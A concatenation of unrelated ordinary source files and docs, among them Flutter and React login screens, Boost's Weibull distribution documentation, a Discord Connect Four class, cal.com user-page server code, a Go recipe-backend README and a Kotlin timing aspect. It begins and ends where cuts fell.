Colors.white, style: GoogleFonts.poppins( fontSize: 12, color: Colors.white, ), ), ), ), ), const SizedBox( height: 10, ), Row( mainAxisAlignment: MainAxisAlignment.end, children: [ Text( "Forgot Password?", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.w300, color: Colors.white, ), ), ], ), const SizedBox( height: 30, ), Container( width: size.width, height: size.height * 0.07, decoration: BoxDecoration( gradient: Constant.gradientPrimary, borderRadius: BorderRadius.circular(10), ), child: Center( child: Text( "Masuk", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.bold, color: Colors.white, ), ), ), ), SizedBox( height: size.height * 0.04, ), Row( children: [ const Expanded( child: Divider( color: Colors.white, thickness: 0.8, ), ), Padding( padding: const EdgeInsets.symmetric(horizontal: 8), child: Text( "Atau masuk dengan", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.w300, color: const Color(0xff7A7A7A), ), ), ), const Expanded( child: Divider( color: Colors.white, thickness: 0.8, ), ), ], ), const SizedBox( height: 20, ), Row( mainAxisAlignment: MainAxisAlignment.spaceAround, children: [ Container( width: size.width * 0.2, height: size.height * 0.1, decoration: BoxDecoration( borderRadius: BorderRadius.circular(20), color: Constant.boxForm, ), // Mengambil 30% tinggi layar child: Center(child: Image.asset("assets/icons/google.png")), ), Container( width: size.width * 0.2, height: size.height * 0.1, decoration: BoxDecoration( borderRadius: BorderRadius.circular(20), color: Constant.boxForm, ), // Mengambil 30% tinggi layar child: Center(child: Image.asset("assets/icons/fb.png")), ), Container( width: size.width * 0.2, height: size.height * 0.1, decoration: BoxDecoration( borderRadius: BorderRadius.circular(20), color: Constant.boxForm, ), // Mengambil 30% tinggi layar child: Center( child: Image.asset("assets/icons/twitter.png")), ), ], ), const SizedBox( height: 15, ), Row( mainAxisAlignment: MainAxisAlignment.center, children: [ Text( "Belum punya akun? ", style: GoogleFonts.poppins( fontSize: 14, color: Colors.white, ), ), InkWell( onTap: () { Get.toNamed(Routes.DAFTAR); }, child: Text( "Daftar", style: GoogleFonts.poppins( fontSize: 14, fontWeight: FontWeight.w500, color: Colors.white, ), ), ), ], ) ], ), ), ), ), backgroundColor: Constant.bodyColor1, ); } }
import React, { useState } from "react"; import "./Login.css"; import { Link, useNavigate } from "react-router-dom"; import { auth } from "../firebase"; function LoginPage() { const [email, setEmail] = useState(""); const [password, setPassword] = useState(""); const navigate = useNavigate(); const signIn = (e) => { e.preventDefault(); auth .signInWithEmailAndPassword(email, password) .then((auth) => { if (auth) { navigate("/"); } }) .catch((err) => alert(err.message)); }; const register = () => { auth .createUserWithEmailAndPassword(email, password) .then((auth) => { //it sucessfully created a new user console.log(auth); if (auth) { navigate("/"); } }) .catch((err) => { alert(err.message); }); }; return ( <div className="login"> <Link to="/"> <img className="login__logo" src="https://cloudfront-us-east-1.images.arcpublishing.com/ajc/KHBQ4LE6CJGQRA6LIKISDCCVHE.jpg" alt="" /> </Link> <div className="login__container"> <h1>Sign in</h1> <form> <h5>E-mail</h5> <input type="text" value={email} onChange={(e) => setEmail(e.target.value)} /> <h5>Password</h5> <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} /> <button onClick={signIn} type="submit" className="login__signInButton" > Sign In </button> </form> <p> Lorem ipsum dolor sit amet consectetur, adipisicing elit. Officiis eveniet illum iusto assumenda laudantium, harum quasi voluptatem obcaecati sed alias cupiditate corporis asperiores placeat quae deserunt nostrum. Odio, possimus animi! </p> <button onClick={register} className="login__registerButton"> Create your Amazon Account </button> </div> </div> ); } export default LoginPage;
[section:weibull_dist Weibull Distribution] ``#include <boost/math/distributions/weibull.hpp>`` namespace boost{ namespace math{ template <class RealType = double, class ``__Policy`` = ``__policy_class`` > class weibull_distribution; typedef weibull_distribution<> weibull; template <class RealType, class ``__Policy``> class weibull_distribution { public: typedef RealType value_type; typedef Policy policy_type; // Construct: weibull_distribution(RealType shape, RealType scale = 1) // Accessors: RealType shape()const; RealType scale()const; }; }} // namespaces The [@http://en.wikipedia.org/wiki/Weibull_distribution Weibull distribution] is a continuous distribution with the [@http://en.wikipedia.org/wiki/Probability_density_function probability density function]: f(x; [alpha], [beta]) = ([alpha]\/[beta]) * (x \/ [beta])[super [alpha] - 1] * e[super -(x\/[beta])[super [alpha]]] For shape parameter [alpha][space] > 0, and scale parameter [beta][space] > 0, and x > 0. The Weibull distribution is often used in the field of failure analysis; in particular it can mimic distributions where the failure rate varies over time. If the failure rate is: * constant over time, then [alpha][space] = 1, suggests that items are failing from random events. * decreases over time, then [alpha][space] < 1, suggesting "infant mortality". * increases over time, then [alpha][space] > 1, suggesting "wear out" - more likely to fail as time goes by. The following graph illustrates how the PDF varies with the shape parameter [alpha]: [graph weibull_pdf1] While this graph illustrates how the PDF varies with the scale parameter [beta]: [graph weibull_pdf2] [h4 Related distributions] When [alpha][space] = 3, the [@http://en.wikipedia.org/wiki/Weibull_distribution Weibull distribution] appears similar to the [@http://en.wikipedia.org/wiki/Normal_distribution normal distribution]. When [alpha][space] = 1, the Weibull distribution reduces to the [@http://en.wikipedia.org/wiki/Exponential_distribution exponential distribution]. The relationship of the types of extreme value distributions, of which the Weibull is but one, is discussed by [@http://www.worldscibooks.com/mathematics/p191.html Extreme Value Distributions, Theory and Applications Samuel Kotz & Saralees Nadarajah]. [h4 Member Functions] weibull_distribution(RealType shape, RealType scale = 1); Constructs a [@http://en.wikipedia.org/wiki/Weibull_distribution Weibull distribution] with shape /shape/ and scale /scale/. Requires that the /shape/ and /scale/ parameters are both greater than zero, otherwise calls __domain_error. RealType shape()const; Returns the /shape/ parameter of this distribution. RealType scale()const; Returns the /scale/ parameter of this distribution. [h4 Non-member Accessors] All the [link math_toolkit.dist_ref.nmp usual non-member accessor functions] that are generic to all distributions are supported: __usual_accessors. The domain of the random variable is \[0, [infin]\]. [h4 Accuracy] The Weibull distribution is implemented in terms of the standard library `log` and `exp` functions plus __expm1 and __log1p and as such should have very low error rates. [h4 Implementation] In the following table [alpha][space] is the shape parameter of the distribution, [beta][space] is its scale parameter, /x/ is the random variate, /p/ is the probability and /q = 1-p/. [table [[Function][Implementation Notes]] [[pdf][Using the relation: pdf = [alpha][beta][super -[alpha] ]x[super [alpha] - 1] e[super -(x/beta)[super alpha]] ]] [[cdf][Using the relation: p = -__expm1(-(x\/[beta])[super [alpha]]) ]] [[cdf complement][Using the relation: q = e[super -(x\/[beta])[super [alpha]]] ]] [[quantile][Using the relation: x = [beta] * (-__log1p(-p))[super 1\/[alpha]] ]] [[quantile from the complement][Using the relation: x = [beta] * (-log(q))[super 1\/[alpha]] ]] [[mean][[beta] * [Gamma](1 + 1\/[alpha]) ]] [[variance][[beta][super 2]([Gamma](1 + 2\/[alpha]) - [Gamma][super 2](1 + 1\/[alpha])) ]] [[mode][[beta](([alpha] - 1) \/ [alpha])[super 1\/[alpha]] ]] [[skewness][Refer to [@http://mathworld.wolfram.com/WeibullDistribution.html Weisstein, Eric W. "Weibull Distribution." From MathWorld--A Wolfram Web Resource.] ]] [[kurtosis][Refer to [@http://mathworld.wolfram.com/WeibullDistribution.html Weisstein, Eric W. "Weibull Distribution." From MathWorld--A Wolfram Web Resource.] ]] [[kurtosis excess][Refer to [@http://mathworld.wolfram.com/WeibullDistribution.html Weisstein, Eric W. "Weibull Distribution." From MathWorld--A Wolfram Web Resource.] ]] ] [h4 References] * [@http://en.wikipedia.org/wiki/Weibull_distribution ] * [@http://mathworld.wolfram.com/WeibullDistribution.html Weisstein, Eric W. "Weibull Distribution." From MathWorld--A Wolfram Web Resource.] * [@http://www.itl.nist.gov/div898/handbook/eda/section3/eda3668.htm Weibull in NIST Exploratory Data Analysis] [endsect][/section:weibull Weibull] [/ Copyright 2006 John Maddock and Paul A. Bristow. Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt). ]
export default class ConnectFour { constructor(board = [], player1 = true, printedBoard = '', playersTurn = "Red's Turn", gameOver = false, player1Name = '', player2Name = '') { this.board = board; this.player1 = player1; this.printedBoard = printedBoard; this.playersTurn = playersTurn; this.gameOver = gameOver; this.player1Name = player1Name; this.player2Name = player2Name; } createBoard = () => { this.board = []; for (let i = 0; i < 6; i++) { this.board.push([]); for (let j = 0; j < 7; j++) { this.board[i].push(':black_circle:'); } } } printBoard = () => { this.printedBoard = ''; for (let i = 0; i < 6; i++) { for (let j = 0; j < 7; j++) { this.printedBoard += this.board[i][j] + ' '; } this.printedBoard += '\n'; } return this.printedBoard; } dropPiece = (column) => { if (this.player1 === true) { this.playersTurn = "Yellow's Turn"; this.player1 = false; if (this.board[5][column] === ':black_circle:') { this.board[5][column] = ':red_circle:'; } else if (this.board[4][column] === ':black_circle:') { this.board[4][column] = ':red_circle:'; } else if (this.board[3][column] === ':black_circle:') { this.board[3][column] = ':red_circle:'; } else if (this.board[2][column] === ':black_circle:') { this.board[2][column] = ':red_circle:'; } else if (this.board[1][column] === ':black_circle:') { this.board[1][column] = ':red_circle:'; } else if (this.board[0][column] === ':black_circle:') { this.board[0][column] = ':red_circle:'; } } else { this.playersTurn = "Red's Turn"; this.player1 = true; if (this.board[5][column] === ':black_circle:') { this.board[5][column] = ':yellow_circle:'; } else if (this.board[4][column] === ':black_circle:') { this.board[4][column] = ':yellow_circle:'; } else if (this.board[3][column] === ':black_circle:') { this.board[3][column] = ':yellow_circle:'; } else if (this.board[2][column] === ':black_circle:') { this.board[2][column] = ':yellow_circle:'; } else if (this.board[1][column] === ':black_circle:') { this.board[1][column] = ':yellow_circle:'; } else if (this.board[0][column] === ':black_circle:') { this.board[0][column] = ':yellow_circle:'; } } this.checkWin(); this.printBoard(); } checkWin = () => { for (let i = 0; i < 6; i++) { for (let j = 0; j < 7; j++) { if (this.board[i][j] !== ':black_circle:') { if (j + 3 < 7 && this.board[i][j] === this.board[i][j + 1] && this.board[i][j] === this.board[i][j + 2] && this.board[i][j] === this.board[i][j + 3]) { this.gameOver = true; return true; } if (i + 3 < 6) { if (this.board[i][j] === this.board[i + 1][j] && this.board[i][j] === this.board[i + 2][j] && this.board[i][j] === this.board[i + 3][j]) { this.gameOver = true; return true; } if (j + 3 < 7 && this.board[i][j] === this.board[i + 1][j + 1] && this.board[i][j] === this.board[i + 2][j + 2] && this.board[i][j] === this.board[i + 3][j + 3]) { this.gameOver = true; return true; } if (j - 3 >= 0 && this.board[i][j] === this.board[i + 1][j - 1] && this.board[i][j] === this.board[i + 2][j - 2] && this.board[i][j] === this.board[i + 3][j - 3]) { this.gameOver = true; return true; } } } } } return false; } checkPlayerTurn = (user) => { if (user.globalName !== this.player1Name && user.globalName !== this.player2Name) return false; if (this.playersTurn === "Red's Turn" && user.globalName !== this.player1Name) return false; if (this.playersTurn === "Yellow's Turn" && user.globalName !== this.player2Name) return false; return true; } }
import type { DehydratedState } from "@tanstack/react-query"; import type { GetServerSideProps } from "next"; import { encode } from "querystring"; import type { z } from "zod"; import { orgDomainConfig } from "@calcom/features/ee/organizations/lib/orgDomains"; import { DEFAULT_DARK_BRAND_COLOR, DEFAULT_LIGHT_BRAND_COLOR } from "@calcom/lib/constants"; import { getUsernameList } from "@calcom/lib/defaultEvents"; import { getEventTypesPublic } from "@calcom/lib/event-types/getEventTypesPublic"; import { getUserAvatarUrl } from "@calcom/lib/getAvatarUrl"; import logger from "@calcom/lib/logger"; import { markdownToSafeHTML } from "@calcom/lib/markdownToSafeHTML"; import { safeStringify } from "@calcom/lib/safeStringify"; import { UserRepository } from "@calcom/lib/server/repository/user"; import { stripMarkdown } from "@calcom/lib/stripMarkdown"; import { RedirectType, type EventType, type User } from "@calcom/prisma/client"; import type { EventTypeMetaDataSchema } from "@calcom/prisma/zod-utils"; import type { UserProfile } from "@calcom/types/UserProfile"; import { getTemporaryOrgRedirect } from "@lib/getTemporaryOrgRedirect"; import type { EmbedProps } from "@lib/withEmbedSsr"; import { ssrInit } from "@server/lib/ssr"; const log = logger.getSubLogger({ prefix: ["[[pages/[user]]]"] }); export type UserPageProps = { trpcState: DehydratedState; profile: { name: string; image: string; theme: string | null; brandColor: string; darkBrandColor: string; organization: { requestedSlug: string | null; slug: string | null; id: number | null; } | null; allowSEOIndexing: boolean; username: string | null; }; users: (Pick<User, "name" | "username" | "bio" | "verified" | "avatarUrl"> & { profile: UserProfile; })[]; themeBasis: string | null; markdownStrippedBio: string; safeBio: string; entity: { logoUrl?: string | null; considerUnpublished: boolean; orgSlug?: string | null; name?: string | null; }; eventTypes: ({ descriptionAsSafeHTML: string; metadata: z.infer<typeof EventTypeMetaDataSchema>; } & Pick< EventType, | "id" | "title" | "slug" | "length" | "hidden" | "lockTimeZoneToggleOnBookingPage" | "requiresConfirmation" | "requiresBookerEmailVerification" | "price" | "currency" | "recurringEvent" >)[]; } & EmbedProps; export const getServerSideProps: GetServerSideProps<UserPageProps> = async (context) => { const ssr = await ssrInit(context); const { currentOrgDomain, isValidOrgDomain } = orgDomainConfig(context.req, context.params?.orgSlug); const usernameList = getUsernameList(context.query.user as string); const isARedirectFromNonOrgLink = context.query.orgRedirection === "true"; const isOrgContext = isValidOrgDomain && !!currentOrgDomain; const dataFetchStart = Date.now(); if (!isOrgContext) { // If there is no org context, see if some redirect is setup due to org migration const redirect = await getTemporaryOrgRedirect({ slugs: usernameList, redirectType: RedirectType.User, eventTypeSlug: null, currentQuery: context.query, }); if (redirect) { return redirect; } } const usersInOrgContext = await UserRepository.findUsersByUsername({ usernameList, orgSlug: isValidOrgDomain ? currentOrgDomain : null, }); const isDynamicGroup = usersInOrgContext.length > 1; log.debug(safeStringify({ usersInOrgContext, isValidOrgDomain, currentOrgDomain, isDynamicGroup })); if (isDynamicGroup) { const destinationUrl = `/${usernameList.join("+")}/dynamic`; log.debug(`Dynamic group detected, redirecting to ${destinationUrl}`); return { redirect: { permanent: false, destination: destinationUrl, }, } as const; } const isNonOrgUser = (user: { profile: UserProfile }) => { return !user.profile?.organization; }; const isThereAnyNonOrgUser = usersInOrgContext.some(isNonOrgUser); if (!usersInOrgContext.length || (!isValidOrgDomain && !isThereAnyNonOrgUser)) { return { notFound: true, } as const; } const [user] = usersInOrgContext; //to be used when dealing with single user, not dynamic group const profile = { name: user.name || user.username || "", image: getUserAvatarUrl({ avatarUrl: user.avatarUrl, }), theme: user.theme, brandColor: user.brandColor ?? DEFAULT_LIGHT_BRAND_COLOR, avatarUrl: user.avatarUrl, darkBrandColor: user.darkBrandColor ?? DEFAULT_DARK_BRAND_COLOR, allowSEOIndexing: user.allowSEOIndexing ?? true, username: user.username, organization: user.profile.organization, }; const dataFetchEnd = Date.now(); if (context.query.log === "1") { context.res.setHeader("X-Data-Fetch-Time", `${dataFetchEnd - dataFetchStart}ms`); } const eventTypes = await getEventTypesPublic(user.id); // if profile only has one public event-type, redirect to it if (eventTypes.length === 1 && context.query.redirect !== "false") { // Redirect but don't change the URL const urlDestination = `/${user.profile.username}/${eventTypes[0].slug}`; const { query } = context; const urlQuery = new URLSearchParams(encode(query)); return { redirect: { permanent: false, destination: `${urlDestination}?${urlQuery}`, }, }; } const safeBio = markdownToSafeHTML(user.bio) || ""; const markdownStrippedBio = stripMarkdown(user?.bio || ""); const org = usersInOrgContext[0].profile.organization; return { props: { users: usersInOrgContext.map((user) => ({ name: user.name, username: user.username, bio: user.bio, avatarUrl: user.avatarUrl, verified: user.verified, profile: user.profile, })), entity: { ...(org?.logoUrl ? { logoUrl: org?.logoUrl } : {}), considerUnpublished: !isARedirectFromNonOrgLink && org?.slug === null, orgSlug: currentOrgDomain, name: org?.name ?? null, }, eventTypes, safeBio, profile, // Dynamic group has no theme preference right now. It uses system theme. themeBasis: user.username, trpcState: ssr.dehydrate(), markdownStrippedBio, }, }; };
# makaji This repository is a mock backend service for a recipe browser application where people can find delicious recipes based on the ingredients and tools that they have, food preference, and their cooking mastery level. ## Introduction This backend application is written in Go (Golang) which the client can connect via RESTful API's with MongoDB as its main database, Elasticsearch as its secondary database for search, and Redis for caching. This backend service is also equipped with a CI/CD tool using Github Actions to test and deploy to an Azure cloud server. Although the tech stacks seem way too overkill for a mock service, they are chosen as a proof of concept of how such an application would be designed in a large production environment. ## Prerequisites - Golang 1.21 or later - Docker Coompose ## Setup Instructions 1. **Clone the Repository:** ```bash git clone https://github.com/eifzed/makaji.git ``` 2. **Navigate to the Project Directory:** ```bash cd makaji ``` 2. **Setup DB:** ```bash docker-compose up ``` 3. **Setup Config File** ```bash cp ./files/etc/makaji-config/makaji-config.development.yaml.example ./files/etc/makaji-config/makaji-config.development.yaml cp ./files/etc/makaji-secret/makaji-secret.development.json.example ./files/etc/makaji-secret/makaji-secret.development.json ``` 3. **Run Application:** ```bash docker-compose up --build ``` 4. **Access the Application:** Once the containers are up and running, you can access the GoLang application at [http://localhost:8080](http://localhost:8080). ## Directory Structure - `cmd/`: Contains the GoLang application source code. - `files/`: Contains the configuration files. - `internal/`: Contains internal source code. - `lib/`: Contains common library. - `model/`: Contains data model. - `Dockerfile`: Dockerfile for building the GoLang application container. - `docker-compose.yml`: Docker Compose configuration file for managing containers. - `README.md`: This README file. ## Contributing Contributions are welcome! Please feel free to submit issues or pull requests. ## License This project is licensed under the [MIT License](LICENSE).
// imports import { Link } from 'react-router-dom'; import { useState, useContext } from 'react'; import InputMask from 'react-input-mask'; import { existCitation } from '../../../api/existCitation'; import { sliceDash } from '../../../logic/sliceDash'; import { bornDateUser } from '../../../logic/date'; // components import { Ring } from '@uiball/loaders'; import { Form, TitleHeader, Input, OutPut, WarningDiv, } from '../../../pagesComponents'; // context import { FormDataContext, PageContext, DataApiContext, Loading, } from '../../../hooks'; import UrlApi from '../../../hooks/useEffects/useDataCedula'; const UserDataForm = () => { const { formData, setFormData } = useContext(FormDataContext); const { page, setPage } = useContext(PageContext); const { dataApi, setDataApi } = useContext(DataApiContext); const { isLoading, setIsLoading } = useContext(Loading); const { setCedula } = useContext(UrlApi); const [hasCitation, setHasCitation] = useState(false); async function handleNextPage(e) { e.preventDefault(); setIsLoading(true); const isExist = await existCitation(formData.cedula); if (isExist) { setHasCitation(true); setIsLoading(false); } else { setIsLoading(false); setPage(page + 1); } } // Render return ( <> <TitleHeader text='CITA PARA EL SERVICIO' /> <Form className='UserDataForm' onSubmit={handleNextPage}> <fieldset lang='es'> <legend>DATOS DEL VISITANTE</legend> <ul> <li> <label> C&Eacute;DULA: <InputMask id='cedula' name='userCedula' autoComplete='off' mask='999-9999999-9' maskChar='' autoFocus={true} defaultValue={formData.cedula} onChange={e => { setHasCitation(false); setCedula(sliceDash(e.target.value)); setFormData({ ...formData, cedula: e.target.value, }); setDataApi({}); }} ></InputMask> </label> </li> <li> <OutPut label='NOMBRE:' type='text' id='name' name='user_name' autoComplete='off' disabled={true} value={dataApi.Nombres} /> </li> <li> <OutPut label='NACIMIENTO:' type='date' id='nacimineto' name='user_nacimineto' autoComplete='off' disabled={true} value={bornDateUser(dataApi.ok, dataApi)} /> </li> <li> <Input label='CORREO:' type='email' id='email' name='user_email' autoComplete='off' focus={false} defaultValue={formData.correo} onChange={e => setFormData({ ...formData, correo: e.target.value }) } /> </li> <li> <label> TEL&Eacute;FONO: <InputMask id='tel' name='user_tel' autoComplete='off' mask='+1\(999) 999-9999' maskChar='' defaultValue={formData.telefono} onChange={e => { setFormData({ ...formData, telefono: e.target.value, }); }} /> </label> </li> <li> <button title={ formData.cedula === '' || formData.correo === '' || formData.telefono === '' ? 'Llene todos los campos' : '' } className='NextBtn' disabled={!dataApi.ok || formData.telefono === ''} > {isLoading ? ( <Ring size={34} color='#003876'></Ring> ) : ( 'SIGUIENTE' )} </button> </li> </ul> <ul> <li> <Link to='/Modificar'>MODIFICAR CITA</Link> </li> <li> <Link to='/CancelarCita'>CANCELAR CITA</Link> </li> </ul> </fieldset> {hasCitation && ( <WarningDiv className='Warnig' textContent='USTED YA TIENE UNA CITA' /> )} </Form> </> ); }; export default UserDataForm;
/** dfs.alg * Implements depth-first search of a graph, directed or undirected; in the * undirected case, it behaves as if edges were directed in both directions. * $Id: dfs.alg 47 2014-03-10 16:11:00Z mfms $ */ /** Required: node and edge labels visible */ /** * An unfortunate consequence of the way algorithms are encapsulated in Java * is the inability of functions to modify global variables. The exceptions * are arrays and instances of classes -- in those cases the functions can * change *contents* at will, as long as the references to the arrays/objects * remain unchanged. */ class GlobalVariables { public int time; } final GlobalVariables globals = new GlobalVariables(); final int [] discovery = new int[ graph.getNodes().size() ]; final int [] finish = new int[ graph.getNodes().size() ]; function visit( Node v, Node parent ) { globals.time++; discovery[ v.getId() ] = globals.time; beginStep(); v.setLabel( "" + discovery[ v.getId() ] ); v.mark(); endStep(); for_outgoing( v, e, w ) { // the following 'exemption' ensures that the classification of an // edge is based on its first encounter only if ( ! isDirected() && ( w == parent || ! e.getLabel().equals("") ) ) continue; beginStep(); if ( ! w.isMarked() ) { e.setSelected(true); // make edge thicker if easy to do w.setSelected(true); visit( w, v ); } else if ( finish[ w.getId() ] == 0 ) { /* ancestor */ e.setLabel( "B" ); } else if ( finish[ w.getId() ] > discovery[ v.getId() ] ) { /* descendant */ e.setLabel( "F" ); } else { e.setLabel( "C" ); } endStep(); } globals.time++; finish[ v.getId() ] = globals.time; v.setLabel( "" + discovery[ v.getId() ] + "/" + finish[ v.getId() ] ); } beginStep(); for_nodes( u ) { u.setLabel(""); } for_edges( e ) { e.setLabel(""); } endStep(); for_nodes( u ) { if ( ! u.isMarked() ) { visit( u, null ); } } // [Last modified: 2013 07 15 at 14:07:48 GMT]
<template> <div> <Header> <template slot="title"> {{ $t('welcome') }} </template> <template slot="desc"> {{ $t('main_desc') }} </template> <template slot="actions"> <ul v-if="!auth" class="list-none"> <li class="inline-block"> <router-link :to="{ name: 'login' }" class="block tc-button tc-button__transition tc-button__primary tc-button__fill"> {{ $t('login') }} </router-link> </li> <li class="inline-block"> <router-link :to="{ name: 'register' }" class="block tc-button tc-button__transition tc-button__primary"> {{ $t('register') }} </router-link> </li> </ul> <ul v-else class="list-none"> <li class="inline-block"> <router-link :to="{ name: 'admin.dashboard' }" class="block tc-button tc-button__transition tc-button__primary tc-button__fill"> {{ $t('dashboard') }} </router-link> </li> </ul> </template> </Header> <section id="content" class="w-100 bg-gray-200"> <container> <div class="grid grid-cols-4 gap-5 py-5"> <div class="mins:col-span-3 maxs:col-span-4 mins:order-last maxs:order-first"> <div class="shadow"> <search /> <tasks :data="tasks" /> <pagination v-if="tasks.length > 0" :meta="pagination" @changed="paginate" /> </div> </div> <div class="mins:col-span-1 maxs:col-span-4 mins:order-first maxs:order-last"> <sidebar /> </div> </div> </container> </section> </div> </template> <script> import Container from '~/components/Container' import Header from '~/components/Header' import Sidebar from '~/components/customer/Sidebar' import Search from '~/components/Search' import Tasks from '~/components/customer/Tasks' import { mapGetters } from 'vuex' import Pagination from '~/components/Pagination' import tasks from '~/utils/requests' import { TASKS } from '~/utils/endpoints' export default { layout: 'basic', components: { Header, Container, Sidebar, Search, Tasks, Pagination }, data () { return { pagination: {} } }, computed: { ...mapGetters({ tasks: 'task/tasks' }), auth () { return !!this.$store.getters['auth/check'] } }, watch: { '$route.query' (newQuery, oldQuery) { let endpoint = this.getEndpoint(newQuery.popular) this.fetchTasks(endpoint) } }, created () { this.fetchTasks(this.getEndpoint(this.$route.query.popular)) }, methods: { fetchTasks (endpoint) { tasks.all(endpoint) .then(({ data: tasks }) => { this.pagination = tasks.meta // this.tasks = tasks.data // console.log(tasks) this.$store.dispatch('task/fetchAllTasks', tasks.data) }) .catch(error => { this.$notify({ title: `Error loading tasks`, text: error.response.data.message, type: 'error' }) }) }, getEndpoint (popular = null) { return popular !== null ? `${TASKS}?popular=1` : TASKS }, paginate (page) { let endpoint = `${TASKS}?page=${page}` this.fetchTasks(endpoint) } } } </script>
import { microCMSLoader } from '@/libs/loader'; import { type Article } from '@/libs/microcms'; import { formatRichText } from '@/libs/utils'; import Image from 'next/image'; import Category from '../Category'; import PublishedDate from '../Date'; import styles from './index.module.css'; type Props = { data: Article; }; export default function Article({ data }: Props) { return ( <main> <h1 className={styles.title}>{data.title}</h1> <p className={styles.description}>{data.description}</p> <div className={styles.meta}> <Category category={data.category} /> <PublishedDate date={data.publishedAt || data.createdAt} /> </div> {data.thumbnail && ( <Image loader={microCMSLoader} src={data.thumbnail?.url} alt="" className={styles.thumbnail} width={data.thumbnail?.width} height={data.thumbnail?.height} /> )} <div className={styles.content} dangerouslySetInnerHTML={{ __html: `${formatRichText(data.content)}`, }} /> </main> ); }
import { Emoji, Interaction, Message } from "../../deps.js"; import { AmethystBot } from "../../mod.js"; export interface AmethystReaction { /** The emoji name */ name: string; /** The emoji id */ id: bigint; /** The reactor's id */ userId: bigint; /** The reaction message's guild id*/ guildId?: bigint; /**The reaction's message id*/ messageId: bigint; /** The channel where the message is */ channelId: bigint; } export interface BaseCollectorCreateOptions { /** The unique key that will be used to get responses for this.*/ key: string; /** The amount of messages to collect before resolving. */ maxUsage: number; /** The timestamp when this collector was created */ createdAt: number; /** The duration in milliseconds how long this collector should last. */ timeout: number; } export interface CollectMessagesOptions extends BaseCollectorCreateOptions { /** The channel Id where this is listening to */ channelId: bigint; /** Function that will filter messages to determine whether to collect this message */ filter: (bot: AmethystBot, message: Message) => boolean; } export interface CollectComponentsOptions extends Omit<BaseCollectorCreateOptions, "key"> { key: bigint; filter: (bot: AmethystBot, data: Interaction) => boolean; } export interface CollectReactionsOptions extends Omit<BaseCollectorCreateOptions, "key"> { key: bigint; filter: (bot: AmethystBot, payload: { messageId: bigint; channelId: bigint; guildId?: bigint; userId: bigint; emoji: Emoji; }) => boolean; } export interface BaseCollectorOptions { /** The max amount to collect before expiring. Defaults to 1*/ maxUsage?: number; /** The amount of milliseconds it is gonna collect for before expiring. Defaults to 15 minutes*/ timeout?: number; } export interface MessageCollectorOptions extends BaseCollectorOptions { /** A function to filter the messages and determine whether to collect or not */ filter?: (bot: AmethystBot, message: Message) => boolean; } export interface ReactionCollectorOptions extends BaseCollectorOptions { /** A function to filter the messages and determine whether to collect or not */ filter?: (bot: AmethystBot, payload: { messageId: bigint; channelId: bigint; guildId?: bigint; userId: bigint; emoji: Emoji; }) => boolean; } export interface ComponentCollectorOptions extends BaseCollectorOptions { /** A function to filter the messages and determine whether to collect or not */ filter?: (bot: AmethystBot, data: Interaction) => boolean; /** The type of the component to collect */ type?: "Button" | "SelectMenu" | "TextInput"; } export interface ReactionCollector extends CollectReactionsOptions { resolve: (value: AmethystReaction[] | PromiseLike<AmethystReaction[]>) => void; reject: (reason?: any) => void; /** Where the reactions are stored if the amount to collect is more than 1. */ reactions: AmethystReaction[]; } export interface MessageCollector extends CollectMessagesOptions { resolve: (value: Message[] | PromiseLike<Message[]>) => void; reject: (reason?: any) => void; /** Where the messages are stored if the amount to collect is more than 1. */ messages: Message[]; } export interface ComponentCollector extends CollectComponentsOptions { resolve: (value: Interaction[] | PromiseLike<Interaction[]>) => void; reject: (reason?: any) => void; /** Where the interactions are stored if the amount to collect is more than 1. */ components: Interaction[]; }
package com.jansparta.hvt_project.infra.AOP import org.aspectj.lang.ProceedingJoinPoint import org.aspectj.lang.annotation.Around import org.aspectj.lang.annotation.Aspect import org.slf4j.LoggerFactory import org.springframework.stereotype.Component import org.springframework.util.StopWatch @Component // Bean에 등록 @Aspect // Aspect 를 정의하는 클래스 라는 뜻 class CacheTimerAspect { private val logger = LoggerFactory.getLogger("Excution Time Logger") @Around("@annotation(com.jansparta.hvt_project.infra.AOP.CacheTimer)") // 어떤 어노테이션에 적용될지? fun run(joinPoint : ProceedingJoinPoint) : Any{ // ProceedingJoinPoint : aop가 적용되는 메소드. val stopWatch = StopWatch() // java.time 의 메서드. 본 메소드명과 관계 없음 stopWatch.start() var result = joinPoint.proceed() // 이 @StopWatch 메소드를 실행하는 메소드의 전 후에 실행 -> Around stopWatch.stop() val methodName = joinPoint.signature.name val methodArguments = joinPoint.args val timeElapsedMs = stopWatch.totalTimeMillis logger.info("Method Name : ${methodName}" + "| Arguments : ${methodArguments.joinToString( ", " )}" + "| Excution Time : ${timeElapsedMs}" ) return result } }
/** * @file StateMachineTest.h * @brief Header file for class StateMachineTest * @date 15/10/2016 * @author Andre Neto * * @copyright Copyright 2015 F4E | European Joint Undertaking for ITER and * the Development of Fusion Energy ('Fusion for Energy'). * Licensed under the EUPL, Version 1.1 or - as soon they will be approved * by the European Commission - subsequent versions of the EUPL (the "Licence") * You may not use this work except in compliance with the Licence. * You may obtain a copy of the Licence at: http://ec.europa.eu/idabc/eupl * * @warning Unless required by applicable law or agreed to in writing, * software distributed under the Licence is distributed on an "AS IS" * basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the Licence permissions and limitations under the Licence. * @details This header file contains the declaration of the class StateMachineTest * with all of its public, protected and private members. It may also include * definitions for inline methods which need to be visible to the compiler. */ #ifndef STATEMACHINETEST_H_ #define STATEMACHINETEST_H_ /*---------------------------------------------------------------------------*/ /* Standard header includes */ /*---------------------------------------------------------------------------*/ /*---------------------------------------------------------------------------*/ /* Project header includes */ /*---------------------------------------------------------------------------*/ #include "StateMachine.h" /*---------------------------------------------------------------------------*/ /* Class declaration */ /*---------------------------------------------------------------------------*/ /** * Tests the StateMachineEvent public methods. */ class StateMachineTest { public: /** * @brief Tests the default constructor. */ bool TestDefaultConstructor(); /** * @brief Tests the Initialise method. */ bool TestInitialise(); /** * @brief Tests the Initialise method without defining any states. */ bool TestInitialise_False_NoStates(); /** * @brief Tests the Initialise method with a state without event. */ bool TestInitialise_False_NoEvents(); /** * @brief Tests the Initialise method with a NextState that does not exist. */ bool TestInitialise_False_NextState(); /** * @brief Tests the Initialise method with a NextStateError that does not exist. */ bool TestInitialise_False_NextStateError(); /** * @brief 